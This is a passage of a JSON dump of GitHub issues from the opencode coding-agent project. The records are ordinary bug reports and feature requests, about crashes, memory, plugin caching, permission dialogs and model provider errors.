        "text": "### Description Description A critical error occurs when attempting to use the Open Code interface (Gemini 3 Pro Preview) inside a tmux session. The server crashes immediately or shortly after initialization, displaying the following status message: [server exited unexpectedly] Environment Information OS: MacOS M1 Taho26.2 Terminal Emulator: iTerm2 / Alacritty tmux version: 3.3a Open Code Version: 1.3.5 Shell: zsh Steps to Reproduce Open a terminal. Start a new tmux session: tmux new -s testing. Launch the editor/environment containing Open Code. Attempt to trigger a build or ask a question in the chat interface. Observe the status bar error: [server exited unexpectedly]. Expected Behavior The Open Code server should remain stable and maintain the connection to the LLM backend regardless of whether it is running inside a terminal multiplexer like tmux. Actual Behavior The process terminates unexpectedly, preventing any interaction with the AI assistant or the build system. Tmux Logs [tmux-out-24096.log](https://github.com/user-attachments/files/26329117/tmux-out-24096.log) [tmux-server-24096.log](https://github.com/user-attachments/files/26329119/tmux-server-24096.log) [tmux-client-24094.log](https://github.com/user-attachments/files/26329118/tmux-client-24094.log) ### Steps to reproduce 1. Open tmux 2. Execute `opencode .` 3. Problem occurs ### Screenshot and/or share link <img width=\"2369\" height=\"1372\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ab9a5801-e7ae-402e-90a6-1aee7d6d546a\" /> ### Operating System macOS M1 Tahoe 26.2 ### Terminal iterm, alacrity",
        "url": "https://github.com/anomalyco/opencode/issues/19651",
        "createdAt": "2026-03-29T07:37:01Z",
        "updatedAt": "2026-08-13T02:53:12Z",
        "timestamp": "2026-08-13T02:53:12Z",
        "metrics": {
          "reactions": 5,
          "comments": 6
        },
        "labels": [],
        "author": "rodrigocnascimento",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:20404",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode go访问响应速度过慢",
        "text": "### Description <img width=\"606\" height=\"377\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/f5e4a0da-23f9-4e2d-8d07-2dc57dd16199\" /> ### Plugins opencode ### OpenCode version 1.3.9 ### Steps to reproduce /connect 选择OpenCode Go 输入订阅的OpenCode的api秘钥 选择GLM-5 然后随便问问题就需要十多分钟才能响应出结果 ### Screenshot and/or share link _No response_ ### Operating System windows10 ### Terminal windows powershell",
        "url": "https://github.com/anomalyco/opencode/issues/20404",
        "createdAt": "2026-04-01T05:45:07Z",
        "updatedAt": "2026-08-13T02:52:47Z",
        "timestamp": "2026-08-13T02:52:47Z",
        "metrics": {
          "reactions": 1,
          "comments": 13
        },
        "labels": [],
        "author": "PrinceHan1",
        "state": "closed",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:20458",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "bug: mouse escape sequences garbled after TUI exit",
        "text": "## Description After exiting the opencode TUI (via quit, Ctrl+C, or process stop), mouse escape sequences appear as garbled text in the terminal: ``` 35;89;19M35;84;20M35;76;22M35;71;23M35;67;23M35;67;24M35;67;25M35... ``` This is a separate issue from in-session mouse garbling (#3199 / PR #19520). The in-session bug is about fragmented SGR sequences leaking through StdinParser timeouts during active use. This bug occurs **after** the TUI has exited. ## Root Cause This is an upstream bug in `@opentui/core`'s `cleanupBeforeDestroy()` method. During renderer destruction, `stdin.setRawMode(false)` is called (re-enabling terminal ECHO) **before** mouse tracking is disabled. Any mouse events arriving during this window get echoed as raw escape sequence bytes. The correct ordering already exists in `@opentui/core`'s `suspend()` method, which calls `disableMouse()` before `setRawMode(false)`. **Upstream issue:** https://github.com/anomalyco/opentui/issues/904 **Upstream fix PR:** https://github.com/anomalyco/opentui/pull/905 ## Reproduction 1. Run `opencode` 2. Move the mouse while the TUI is active 3. Exit the TUI (quit or Ctrl+C) 4. Move the mouse in the shell immediately after exit 5. Garbled escape sequences appear ## Workaround A `patchedDependencies` patch for `@opentui/core` can fix this by adding `disableMouse()` + stdin drain before `setRawMode(false)` in `cleanupBeforeDestroy()`. A PR with this patch is forthcoming. ## Environment - macOS / Linux - Affects `@opentui/core@0.1.90` and `@opentui/core@0.1.95`",
        "url": "https://github.com/anomalyco/opencode/issues/20458",
        "createdAt": "2026-04-01T13:00:04Z",
        "updatedAt": "2026-08-13T06:12:04Z",
        "timestamp": "2026-08-13T06:12:04Z",
        "metrics": {
          "reactions": 4,
          "comments": 6
        },
        "labels": [],
        "author": "agutmanstein-scale",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:20695",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Memory Megathread",
        "text": "We have scattered reports of memory issues so we are going to tackle them all in a central place. PLEASE DO NOT RUN YOUR LLM AND SUGGEST SOLUTIONS IT IS ALWAYS WRONG What we need help with is collecting heap snapshots. There are two ways to do that. Manual snapshot flow - run opencode (terminal not desktop) - use it until memory has grown (we don't need crazy numbers, once it hits 1-2gb it should help) - press ctrl+p and select heap snapshot - ui will freeze while it is generated - upload generated files [here](https://www.dropbox.com/request/njJ07VcjIb0wPQ50ARe2) - leave a comment describing your issue a bit Automatic snapshot flow - run opencode with `OPENCODE_AUTO_HEAP_SNAPSHOT=1`, for example `OPENCODE_AUTO_HEAP_SNAPSHOT=1 opencode` - use it until memory grows past around 2gb - opencode checks memory once a minute and automatically writes a heap snapshot when rss is above 2gb - snapshots are written to the log directory as `.heapsnapshot` files - upload generated files [here](https://www.dropbox.com/request/njJ07VcjIb0wPQ50ARe2) - leave a comment describing your issue a bit and mention that you used the automatic flow If you follow this we can almost always trace the issue and fix it",
        "url": "https://github.com/anomalyco/opencode/issues/20695",
        "createdAt": "2026-04-02T14:44:15Z",
        "updatedAt": "2026-08-13T07:24:29Z",
        "timestamp": "2026-08-13T07:24:29Z",
        "metrics": {
          "reactions": 152,
          "comments": 129
        },
        "labels": [],
        "author": "thdxr",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:20969",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Bug: Read Tool Incorrectly Adds Extra Space",
        "text": "### Description ## Description The `read` tool incorrectly adds an extra space when handling file paths with Chinese characters. ### Plugins _No response_ ### OpenCode version 1.3.13 ### Steps to reproduce 1. File exists: `cline安装使用.md` , workpath:`/opt/tong/ws/git-repo/notes_superproject/temp/test` 2. send cmd: `cline安装使用.md 读取文件` 3. Call read tool 3. Returns: `File not found: /opt/tong/ws/git-repo/notes_superproject/temp/test/cline 安装使用.md` ## Actual Behavior The read tool fails to find the file, likely inserting an extra space in the path. ### Screenshot and/or share link <img width=\"950\" height=\"215\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/1e175cd7-6754-4a51-a555-81ef9e52cd12\" /> ### Operating System Ubuntu24.04 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/20969",
        "createdAt": "2026-04-04T04:54:15Z",
        "updatedAt": "2026-08-13T02:53:18Z",
        "timestamp": "2026-08-13T02:53:18Z",
        "metrics": {
          "reactions": 2,
          "comments": 3
        },
        "labels": [],
        "author": "Ts-sound",
        "state": "closed",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:22473",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Tools error when using Gemini models via custom api",
        "text": "### Description I'm trying to use gemini models via a custom api but i get this error: `Invalid JSON payload received. Unknown name \"ref\" at 'tools[0].function_declarations[0].parameters.properties[0].value.items.properties[2].value.items': Cannot find field.` The provider config in opencode.json is this: ```json { \"$schema\": \"https://opencode.ai/config.json\", \"provider\": { \"custom-provider\": { \"npm\": \"@ai-sdk/openai-compatible\", \"name\": \"custom-provider\", \"options\": { \"baseURL\": \"https://<api-url>\" }, \"models\": { \"gemini-2.5-pro\": { \"name\": \"Gemini 2.5 Pro\" } } } } } ``` ### Plugins _No response_ ### OpenCode version 1.4.1 ### Steps to reproduce Try to chat with opencode using the previous config. ### Screenshot and/or share link <img width=\"1878\" height=\"317\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/fd87c924-0dd4-458f-974e-8feb1f50b9da\" /> ### Operating System Arch Linux ### Terminal Kitty",
        "url": "https://github.com/anomalyco/opencode/issues/22473",
        "createdAt": "2026-04-14T17:01:58Z",
        "updatedAt": "2026-08-13T02:53:03Z",
        "timestamp": "2026-08-13T02:53:03Z",
        "metrics": {
          "reactions": 1,
          "comments": 3
        },
        "labels": [],
        "author": "afermar",
        "state": "closed",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:23091",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Nested Subagent Fails Silently in 3-Layer Deep Chain (Works Fine in 2-Layer)",
        "text": "### Description A subagent called at depth 3 (parent → child → grandchild) fails silently without any error message. The issue does not occur at depth 2 (parent → child). The problem began appearing on 2026-04-17, while everything worked normally the previous day. The grandchild agent receives the prompt successfully (child session window appears), enters a \"thinking\" phase, and then abruptly terminates without any error or output — not even a single tool call or text response. ### Plugins none ### OpenCode version v1.4.7 ### Steps to reproduce 1.Create a main agent that uses the task tool to call a child subagent. 2.In the child subagent's prompt, instruct it to further call a grandchild subagent via the task tool. 3.Give the grandchild subagent a simple task (e.g., \"read a file and summarize\"). 4.Observe the behavior: the grandchild subagent starts, thinks for a few seconds, then disappears with no error. ### Screenshot and/or share link <img width=\"896\" height=\"1416\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/be30d247-8380-4265-b3b9-bd958270871a\" /> ### Operating System Windows11 ### Terminal Windows terminal",
        "url": "https://github.com/anomalyco/opencode/issues/23091",
        "createdAt": "2026-04-17T14:33:47Z",
        "updatedAt": "2026-08-13T02:52:58Z",
        "timestamp": "2026-08-13T02:52:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "xsrtyq",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:23153",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:Pay Go with crypto",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Please add crypto support for payment of opencode go.",
        "url": "https://github.com/anomalyco/opencode/issues/23153",
        "createdAt": "2026-04-17T19:11:14Z",
        "updatedAt": "2026-08-13T07:37:17Z",
        "timestamp": "2026-08-13T07:37:17Z",
        "metrics": {
          "reactions": 60,
          "comments": 18
        },
        "labels": [],
        "author": "suse-coder",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:23445",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "LM Studio: First prompt in new session processed twice, causing phantom generation & slowdown",
        "text": "### Description <img width=\"1394\" height=\"953\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/0418c939-e71c-4239-864a-8d9a0c013612\" /> <img width=\"1402\" height=\"961\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/9228a11b-d79c-4357-ad4e-3a5fe13c274d\" /> When creating a new session (/new) and submitting the first prompt, the input is always processed twice at once. Once the model completes its reply, an additional phantom process continues generating output into nowhere. This bug clears after the first exchange, but during that initial turn, it halves both reading and response generation speeds :( ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/23445",
        "createdAt": "2026-04-19T20:36:57Z",
        "updatedAt": "2026-08-13T12:06:35Z",
        "timestamp": "2026-08-13T12:06:35Z",
        "metrics": {
          "reactions": 1,
          "comments": 5
        },
        "labels": [
          "bug",
          "core"
        ],
        "author": "lobanov-coder",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:23461",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode upgrade fails with 403 (doesn't respect GITHUB_TOKEN)",
        "text": "### Describe the bug When running `opencode upgrade` from behind a proxy/VPN, the command frequently fails with a 403 error due to GitHub API rate limiting for unauthenticated requests (60 requests/hour/IP). The command appears to make an anonymous request to `https://api.github.com/repos/anomalyco/opencode/releases/latest`. Even if the user has a valid `GITHUB_TOKEN` exported in their environment, or is authenticated via the GitHub CLI (`gh auth login`), `opencode` does not seem to utilize these credentials to authenticate the API request. ### Steps to reproduce 1. Connect to a shared proxy/VPN (to simulate an IP with exhausted unauthenticated GitHub API limits). 2. Export a valid `GITHUB_TOKEN` or authenticate with `gh auth login`. 3. Run `opencode upgrade` 4. See error: ``` Error: Unexpected error, check log file... StatusCode: non 2xx status code (403 GET https://api.github.com/repos/anomalyco/opencode/releases/latest) ``` ### Expected behavior `opencode upgrade` should check for the `GITHUB_TOKEN` environment variable and use it to authenticate the request to the GitHub API. This would increase the rate limit to 5000/hour and prevent rate limiting for users behind shared proxies. ### Environment - OS: Linux - OpenCode Version: 1.14.18",
        "url": "https://github.com/anomalyco/opencode/issues/23461",
        "createdAt": "2026-04-20T01:04:10Z",
        "updatedAt": "2026-08-13T17:06:05Z",
        "timestamp": "2026-08-13T17:06:05Z",
        "metrics": {
          "reactions": 2,
          "comments": 4
        },
        "labels": [],
        "author": "KaysonSear",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:23784",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Display subagent status in TUI prompt footer",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Currently, when using subagents in OpenCode, there is no visual indication in the TUI prompt footer about how many subagents are active or exist in total. Users have to manually navigate to the subagent view to check this information. **Proposed enhancement:** Add a subagent status indicator to the prompt footer (bottom-right area next to the \"commands\" hint) that: 1. Shows nothing when there are no subagents 2. Displays `active/total sub agents` when subagents exist 3. Shows a ⚡ lightning icon next to the active count when there are active subagents, using `theme.warning` color to draw attention 4. Uses muted color when no subagents are active This provides at-a-glance awareness of background subagent activity without leaving the main prompt view. **Implementation approach:** - Compute recursive descendant count (including nested subagents) from `sync.data.session` using BFS traversal - Check `session_status` for \"busy\" or \"retry\" states to determine active count - Conditionally render in the prompt footer using SolidJS `<Show>` **Screenshots:** *With active subagent (⚡ icon + warning color):* <img width=\"364\" height=\"91\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/4f7e16a8-d8c5-4912-9fa8-1bd05f3d9f34\" /> *Without active subagent (muted color):* <img width=\"361\" height=\"86\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bb6d9dcb-806e-4545-89c0-4ab2c8d5721f\" />",
        "url": "https://github.com/anomalyco/opencode/issues/23784",
        "createdAt": "2026-04-22T03:59:24Z",
        "updatedAt": "2026-08-13T02:53:00Z",
        "timestamp": "2026-08-13T02:53:00Z",
        "metrics": {
          "reactions": 0,
          "comments": 7
        },
        "labels": [],
        "author": "areyouok",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:24473",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "\"Subscription quota exceeded\" error persists after 2+ days of inactivity (OpenCode Go)",
        "text": "### Description ## Description I am reporting a persistent quota issue with my OpenCode Go subscription. Despite having **zero usage since April 23**, my account is still flagged as \"Subscription quota exceeded\" as of April 26. There is a significant discrepancy between my actual usage history and the dashboard status, preventing me from using the service for over 3 days. I tried to contact the service maintainers through Customer Services or Email, but was unable to find such contact points. ## Data Evidence (from Dashboard) - **Usage History:** The cost graph shows **no activity on April 24, 25, and 26**. - **Weekly Usage:** Currently stuck at **100%**, showing \"Resets in 1 day 14 hours\". - **Rolling Usage:** Shows **0%**, but oddly states \"Resets in 5 hours 0 minutes\" despite no recent activity. - **Error Message:** Terminal continues to display: `Subscription quota exceeded. You can continue using free models.` ## Expected Behavior Since there has been no usage for 3 days, the rolling or weekly quota should have partially or fully reset by now, allowing for new requests. ## Actual Behavior The subscription quota remains exhausted (100%), and the system does not recognize the 3-day period of inactivity, effectively locking the account. ## To note I am currently using the ![oh-my-openagent](https://github.com/code-yeongyu/oh-my-openagent) plugin. ## Screenshots 1. **Usage Dashboard:** Showing 100% weekly usage and stuck reset timers. 2. **Cost Graph:** Showing zero usage from April 24 to April 26. 3. **Terminal Error:** Showing the \"quota exceeded\" message. ### Plugins oh-my-openagent ### OpenCode version 1.14.24 ### Steps to reproduce 1. Use the allocated quota for the OpenCode Go plan (last activity on April 23). 2. Wait for more than 72 hours. 3. Check the usage dashboard and attempt to use Go models (e.g., `kimi-k2.5`, `glm-5`). 4. The quota remains at 100% (Weekly) and access is denied. ### Screenshot and/or share link - image 1 <img width=\"1551\" height=\"732\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/e9c3ba91-beb0-4340-a877-6159016b24bd\" /> - image 2 <img width=\"1546\" height=\"876\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a629d07c-25cb-451e-991f-5becdd95693a\" /> - image 3 <img width=\"924\" height=\"52\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/dffdadde-13ef-41a5-bad6-604bb851731c\" /> ### Operating System Ubuntu 24.04 ### Terminal zsh kitty",
        "url": "https://github.com/anomalyco/opencode/issues/24473",
        "createdAt": "2026-04-26T11:58:13Z",
        "updatedAt": "2026-08-12T18:09:24Z",
        "timestamp": "2026-08-12T18:09:24Z",
        "metrics": {
          "reactions": 0,
          "comments": 5
        },
        "labels": [],
        "author": "sanghyunna",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:25293",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Plugin @latest cache can stay pinned to stale npm version",
        "text": "### What happened? A plugin configured as `oh-my-openagent@latest` stayed pinned to an older npm package version in OpenCode's plugin package cache, even though npm latest had advanced. This caused OpenCode to keep loading old plugin behavior until I manually removed the cached package directory and pinned the plugin to the current version. ### Evidence My OpenCode config had: ```json { \"plugin\": [ \"oh-my-openagent@latest\" ] } ``` But the OpenCode package cache contained: ```json // C:\\Users\\Me\\.cache\\opencode\\packages\\oh-my-openagent@latest\\package.json { \"dependencies\": { \"oh-my-openagent\": \"3.17.4\" } } ``` At the same time: ```powershell npm view oh-my-openagent version # 3.17.12 ``` So `@latest` was not re-resolved. The cache directory was valid enough for the plugin to load, but it loaded stale code. ### User-visible impact The stale `oh-my-openagent 3.17.4` build had older model routing behavior. It treated Sisyphus + GPT-5.5 as invalid and switched sessions to Hephaestus, even though `oh-my-openagent 3.17.12` includes GPT-5.5-native Sisyphus support. ### Expected behavior For plugin specs using a moving tag/range such as `package@latest`, OpenCode should periodically re-resolve the package, validate whether the cached dependency satisfies the requested spec, or otherwise avoid treating the wrapper cache directory as permanently fresh. At minimum, a cache hit for `oh-my-openagent@latest` should not continue to use `oh-my-openagent 3.17.4` after npm latest is `3.17.12`. ### Actual behavior OpenCode reused: ```text C:\\Users\\Me\\.cache\\opencode\\packages\\oh-my-openagent@latest ``` The wrapper `package.json` inside that cache still depended on `oh-my-openagent 3.17.4`. ### Workaround This fixed the issue locally: ```powershell Remove-Item -LiteralPath 'C:\\Users\\Me\\.cache\\opencode\\packages\\oh-my-openagent@latest' -Recurse -Force ``` Then I pinned the plugin explicitly: ```json { \"plugin\": [ \"oh-my-openagent@3.17.12\" ] } ``` I also preinstalled the pinned cache path: ```powershell npm install --prefix C:\\Users\\Me\\.cache\\opencode\\packages\\oh-my-openagent@3.17.12 oh-my-openagent@3.17.12 ``` ### Related issue This seems related to plugin package cache behavior discussed in #23502, but this report is specifically about a successful/usable cache hit for `@latest` staying pinned to a stale dependency version rather than an ENOENT or incomplete install. ### Environment - OS: Microsoft Windows NT 10.0.26200.0 - OpenCode: 1.14.31 - Node: v22.20.0 - npm: 10.9.3 - Plugin spec: `oh-my-openagent@latest` - Cached dependency observed: `oh-my-openagent 3.17.4` - npm latest observed: `oh-my-openagent 3.17.12`",
        "url": "https://github.com/anomalyco/opencode/issues/25293",
        "createdAt": "2026-05-01T14:52:41Z",
        "updatedAt": "2026-08-13T02:52:51Z",
        "timestamp": "2026-08-13T02:52:51Z",
        "metrics": {
          "reactions": 6,
          "comments": 6
        },
        "labels": [],
        "author": "sm18lr88",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:25570",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Support Multiple Skills in a Single Prompt — Critical for Multi-Framework Workflows",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## Description Currently, OpenCode does not support specifying multiple skills simultaneously in a single prompt. When I input multiple skill commands such as `/vue3 /vue-router-v4`, only the first skill (`/vue3`) is loaded and activated. The second skill (`/vue-router-v4`) is incorrectly treated as plain user input rather than being parsed and loaded as an additional skill. ## Current Behavior - **Input:** `/vue3 /vue-router-v4` - **Actual Result:** Only the `/vue3` skill is loaded. `/vue-router-v4` is passed as raw text to the model without skill activation. ## Expected Behavior Both `/vue3` and `/vue-router-v4` skills should be parsed, loaded, and activated concurrently, allowing the model to leverage the context and capabilities from multiple skills simultaneously within the same session. ## Use Case & Importance In real-world development, projects rarely rely on a single technology in isolation. For example: - A Vue 3 project almost always uses **Vue Router** alongside it. - A React project frequently requires both **React** and **React Router** context. - Full-stack tasks often involve both **frontend** and **backend** skills at the same time. Without support for multiple skills, users are forced to: 1. Choose only one skill and lose critical context from others. 2. Manually paste documentation or context for secondary technologies. 3. Break a single coherent task into multiple fragmented sessions. This limitation significantly reduces OpenCode's effectiveness for complex, multi-framework workflows and negatively impacts the overall developer experience. ## Request I would greatly appreciate it if the team could consider implementing multi-skill activation in a single prompt. This enhancement would be incredibly valuable for handling realistic development scenarios where multiple technologies intersect, and it would make OpenCode substantially more powerful for everyday use. Thank you for your time and for maintaining such a promising tool!",
        "url": "https://github.com/anomalyco/opencode/issues/25570",
        "createdAt": "2026-05-03T08:34:00Z",
        "updatedAt": "2026-08-13T04:43:39Z",
        "timestamp": "2026-08-13T04:43:39Z",
        "metrics": {
          "reactions": 18,
          "comments": 7
        },
        "labels": [],
        "author": "pengln",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:26077",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: TUI plugin API: session projection | session list adapters",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## Summary I'd like to propose a small extension to the TUI plugin API so plugins can influence: 1. the projection of the native `session` view 2. the projection of the native session switcher/list This is **not** a request to upstream a specific product feature. The goal is to expose **generic host hooks** so advanced plugins can work without requiring local host patches. --- ## Problem Today, plugins can inject some UI and commands, but they still lack a clean way to control session-aware behavior in the native TUI. In practice, some advanced addons need to express things like: - which session should be considered the active logical session - which messages should be visible in the native `session` view - whether the prompt should be visible for a given projected session state - how the native session list should resolve the current highlighted session - how session selection should map from a logical session to a concrete target session Without host hooks for this, the only alternatives are: - fragile command shadowing - duplicating native views - or local host patches --- ## Proposal Add two **optional plugin hooks** with full native fallback: ### 1. Session projection adapter Conceptually similar to: - `session.registerAdapter(...)` This would let a plugin provide a **partial projection policy** for the native `session` view. Examples of responsibilities: - resolve active session id - resolve visible messages - resolve prompt visibility - resolve permission/question routing - surface inspection state Important: - core still renders the native `session` view - plugin only provides policy - default behavior stays unchanged when no adapter is registered ### 2. Session list adapter Conceptually similar to: - `session.registerListAdapter(...)` This would let a plugin provide a **partial projection policy** for the native session list/switcher. Examples of responsibilities: - resolve current highlighted session - resolve target session before navigation - optional pre-navigation cleanup hook Important: - native session list remains the host UI - this avoids fragile command overrides --- ## Why this should live in core This is not feature-specific logic. It is host-level TUI extensibility. These hooks would help any plugin/addon that needs a logical session model on top of the native TUI, while preserving: - native rendering - native fallback behavior - no runtime/server changes --- ## Related issues I reviewed the related items suggested by the bot, especially around plugin extensibility and TUI hooks. This proposal is specifically about **session-aware projection hooks** for: - native `session` - native session list/switcher It is narrower than a general plugin extensibility umbrella, and more specific than generic UI injection points. --- ## Success criteria A successful outcome would be: - advanced plugins can work against official OpenCode builds - native `session` and session list remain the host UI - no default UX regressions - no feature-specific logic needs to live in core - local host patching becomes unnecessary for this class of addons --- ## Open question Would maintainers prefer: 1. discussing this API shape first in an issue, then opening small PRs 2. or going directly to a focused PR for one adapter at a time?",
        "url": "https://github.com/anomalyco/opencode/issues/26077",
        "createdAt": "2026-05-06T18:03:47Z",
        "updatedAt": "2026-08-13T02:53:21Z",
        "timestamp": "2026-08-13T02:53:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "juanma91m",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:26911",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "OpenCode Go, the model does not support FIM",
        "text": "### Description [https://github.com/zed-industries/zed/issues/56379](https://github.com/zed-industries/zed/issues/56379) - The above is the problem I'm encountering when using the OpenCode Go API with the `edit_predictions` feature of the Zed Editor. - Could you please help me review the last comment and resolve it? ### Plugins _No response_ ### OpenCode version v1.14.48 ### Steps to reproduce - Use Zed Editor and OpenCode Go with the following configuration: ```json { \"edit_predictions\": { \"allow_data_collection\": \"no\", \"mode\": \"subtle\", \"provider\": \"open_ai_compatible_api\", \"open_ai_compatible_api\": { \"api_url\": \"https://opencode.ai/zen/go/v1/chat/completions\", \"model\": \"deepseek-v4-flash\", \"prompt_format\": \"deepseek_coder\" } }, \"show_edit_predictions\": true } ``` - I used OpenCode Go to reduce the cost of the `edit_predictions` feature in Zed Editor. - After using it, I received the following error: ```log 2026-05-11T16:52:49+07:00 ERROR [crates/edit_prediction/src/edit_prediction.rs:2213] fim edit prediction failed: custom server error: 400 Bad Request - {\"error\":{\"message\":\"Error from provider (DeepSeek): Failed to deserialize the JSON body into the target type: missing field `messages` at line 1 column 1335\",\"type\":\"invalid_request_error\",\"param\":null,\"code\":\"invalid_request_error\"}} ``` - The programmers at Zed Editor want me to ask the publisher of OpenCode Go. ### Screenshot and/or share link _No response_ ### Operating System Windows 10.0.19044 ### Terminal Zed Editor + ACP",
        "url": "https://github.com/anomalyco/opencode/issues/26911",
        "createdAt": "2026-05-11T16:42:14Z",
        "updatedAt": "2026-08-13T02:53:37Z",
        "timestamp": "2026-08-13T02:53:37Z",
        "metrics": {
          "reactions": 5,
          "comments": 6
        },
        "labels": [],
        "author": "kanagawa6",
        "state": "closed",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:27436",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "permission required cannot select",
        "text": "### Description When I clicked \"Allow once\", I couldn't click it. When I clicked \"Allow always\", it kept repeatedly jumping to \"Always allow\", and when I clicked \"Reject\", I couldn't submit the content in \"Tell Opencode what to do differently\", causing the session to get stuck here. Moreover, even after I directly closed the VSCode Opencode plugin, it still showed in the \"Operation Env\" and I couldn't continue the operation. <img width=\"1443\" height=\"273\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/075ed478-7583-449d-9ecf-0675e16c0938\" /> <img width=\"1399\" height=\"274\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/61e9c0a9-007b-4626-85c0-7c784f8e4f7a\" /> <img width=\"1450\" height=\"277\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bf5ddf18-2036-446b-a54c-2e8e14e1dba7\" /> ### Plugins vscode ### OpenCode version 1.14.48 ### Steps to reproduce The current situation I'm facing is as follows: When opencode attempts to read or write the .env file again and requires permissions, this problem may occur. ### Screenshot and/or share link _No response_ ### Operating System windows 11 ### Terminal windows terminal",
        "url": "https://github.com/anomalyco/opencode/issues/27436",
        "createdAt": "2026-05-14T02:53:59Z",
        "updatedAt": "2026-08-13T02:53:10Z",
        "timestamp": "2026-08-13T02:53:10Z",
        "metrics": {
          "reactions": 11,
          "comments": 18
        },
        "labels": [],
        "author": "1122414",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:27481",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Open Path\" Error - ENOENT Spawn Failure",
